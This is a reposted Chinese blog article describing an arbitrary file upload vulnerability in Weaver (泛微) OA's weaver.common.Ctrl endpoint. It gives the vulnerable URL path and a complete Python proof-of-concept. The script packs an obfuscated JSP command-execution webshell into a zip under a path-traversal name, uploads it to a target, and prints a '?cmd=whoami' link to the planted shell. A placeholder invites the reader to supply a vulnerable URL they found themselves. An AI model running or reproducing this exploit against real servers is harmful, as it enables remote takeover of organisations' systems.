泛微OA 任意文件上传漏洞
生活随笔
收集整理的這篇文章主要介紹了
泛微OA 任意文件上传漏洞
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
使用需知
由于傳播和使用本文所提供的任何直接或間接的后果和損失,均由用戶承擔,作者對此不承擔任何責任。如果文章出現敏感內容產生不良影響,請聯系作者刪除。
本文來源于PeiQi文庫 ,作者PeiQi文庫
一、漏洞描述
泛微OA weaver.common.Ctrl 存在任意文件上傳漏洞,攻擊者通過漏洞可以上傳webshell文件控制服務器
二、漏洞影響
泛微OA
三、漏洞復現
存在漏洞的路徑為
/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp使用POC進行文件上傳
python poc.py四、漏洞POC
import zipfile import random import sys import requestsdef generate_random_str(randomlength=16):random_str = ''base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'length = len(base_str) - 1for i in range(randomlength):random_str += base_str[random.randint(0, length)]return random_strmm = generate_random_str(8)webshell_name1 = mm+'.jsp' webshell_name2 = '../../../'+webshell_name1def file_zip():shell = """<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="sun.misc.BASE64Decoder" %> <%if(request.getParameter("cmd")!=null){BASE64Decoder decoder = new BASE64Decoder();Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));Process e = (Process)rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(newString(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, newObject[]{}), request.getParameter("cmd") );java.io.InputStream in = e.getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");} %>""" ## 替換shell內容zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)zf.writestr(webshell_name2, shell)def GetShell(urllist):file_zip()# print('上傳文件中')urls = urllist + '/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp'file = [('file1', (mm+'.zip', open(mm + '.zip', 'rb'), 'application/zip'))]try:requests.post(url=urls,files=file,timeout=60, verify=False)GetShellurl = urllist+'/cloudstore/'+webshell_name1GetShelllist = requests.get(url = GetShellurl)if GetShelllist.status_code == 200:print(GetShellurl+"?cmd=whoami")except:passGetShell("自己找的漏洞URL")總結
以上是生活随笔為你收集整理的泛微OA 任意文件上传漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mkv转换mp4格式怎么转
- 下一篇: R语言学习之函数